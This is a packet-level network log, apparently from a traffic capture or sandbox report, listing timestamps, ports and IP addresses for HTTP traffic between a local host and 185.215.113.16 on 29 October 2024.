Oct 29, 2024 20:44:57.431695938 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.431710958 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.431725025 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.431740999 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.431755066 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.431770086 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.431807041 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.431884050 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.431896925 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.431941986 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.432007074 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432022095 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432035923 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432050943 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432060003 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.432066917 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432106018 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.432276011 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432292938 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432307959 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432323933 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432333946 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.432347059 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.432404995 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432445049 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.432576895 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432594061 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432606936 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432621956 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432636023 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432646036 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.432651043 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432667017 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432682037 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432687044 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.432687044 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.432697058 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432713032 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432718992 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.432728052 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432743073 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.432780981 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.432796001 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.433245897 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.433260918 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.433274984 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.433289051 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.433304071 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.433305025 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.433319092 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.433332920 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.433334112 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.433348894 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.433363914 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.433371067 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.433379889 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.433393002 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.433419943 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.433759928 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.433774948 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.433789015 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.433804035 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.433814049 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.433820009 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.433835030 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.433849096 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.433854103 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.433882952 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.434293985 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.434308052 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.434322119 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.434338093 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.434351921 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.434353113 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.434369087 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.434371948 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.434382915 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.434386969 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.434397936 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.434412956 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.434413910 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.434426069 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.434442043 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.434457064 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.434459925 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.434472084 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.434483051 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.434487104 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.434501886 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.434516907 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.434524059 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.434545994 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.434979916 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.434993982 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.435007095 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.435023069 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.435044050 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.435070992 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.435539007 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.455008030 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.455051899 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.455065966 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.455080032 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.455162048 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.485990047 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.486028910 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.486043930 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.486054897 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.486090899 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.498317003 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.498337030 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.498352051 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.498415947 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.498431921 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.498466015 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.528770924 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.528806925 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.528824091 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.528898001 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.528912067 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.528918982 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.528927088 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.528942108 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.528956890 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.528987885 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.529108047 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547161102 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547195911 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547213078 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547226906 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547243118 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547247887 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.547257900 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547272921 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547290087 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547322035 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.547342062 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.547354937 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547372103 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547477007 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547492027 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547506094 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.547507048 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547518015 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.547545910 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.547617912 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547633886 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547647953 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547662020 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547677040 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.547691107 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.547749996 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547784090 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547799110 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547812939 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.547852993 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.548013926 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548028946 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548043013 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548083067 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.548166037 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548181057 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548203945 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548218966 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548233032 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548247099 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.548248053 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548264027 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548271894 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.548306942 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.548556089 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548568964 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548583031 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548599005 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548612118 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.548649073 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.548693895 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548718929 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548738003 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548753977 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548758030 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.548768044 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548783064 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548799992 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.548810005 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.548835039 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.549179077 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.549194098 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.549210072 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.549226046 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.549240112 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.549254894 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.549264908 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.549271107 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.549284935 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.549285889 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.549300909 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.549314022 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.549315929 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.549350023 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.549654961 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.549669981 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.549685001 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.549730062 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.549794912 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.549808979 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.549823999 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.549839020 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.549854040 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.549854994 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.549874067 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.550043106 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550060034 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550126076 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.550147057 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550162077 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550178051 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550188065 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.550194025 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550209045 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550224066 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550224066 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.550240040 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550254107 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.550286055 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.550695896 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550710917 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550725937 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550740004 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550755024 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550769091 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550785065 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550798893 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550808907 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.550813913 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550828934 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550841093 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.550844908 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550859928 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550877094 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550884962 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.550892115 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.550904989 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.550930023 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.551049948 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.551460981 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.551476002 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.551491022 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.551505089 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.551518917 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.551521063 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.551536083 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.551547050 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.551552057 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.551568031 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.551583052 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.551585913 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.551595926 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.551608086 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.551610947 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.551625967 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.551630020 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.551647902 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.551670074 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.552337885 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.573652029 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.573673964 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.573692083 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.573709011 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.573729038 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.573755980 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.602622032 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.602644920 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.602672100 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.602684975 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.602708101 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.602761030 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.615088940 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.615129948 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.615147114 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.615148067 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.615175009 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.615262032 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.615279913 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.615338087 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.645610094 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.645628929 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.645644903 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.645682096 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.645766020 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.645781040 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.645881891 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.645905018 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.645935059 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.646056890 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.646070957 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.646121025 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.663916111 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.663944960 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.663960934 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.664028883 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.664092064 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.664184093 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.664199114 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.664213896 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.664231062 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.664249897 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.664253950 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.664266109 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.664289951 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.664522886 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.664539099 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.664551973 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.664603949 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.664645910 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.664660931 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.664697886 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.664854050 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.664869070 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.664882898 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.664899111 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.664913893 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.664928913 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.664930105 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.664969921 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.665143013 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.665165901 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.665206909 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.665249109 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.665265083 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.665280104 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.665297031 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.665313005 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.665323019 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.665328026 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.665344000 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.665357113 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.665385008 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.665930986 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.665946007 CET	80	62422	185.215.113.16	192.168.2.6
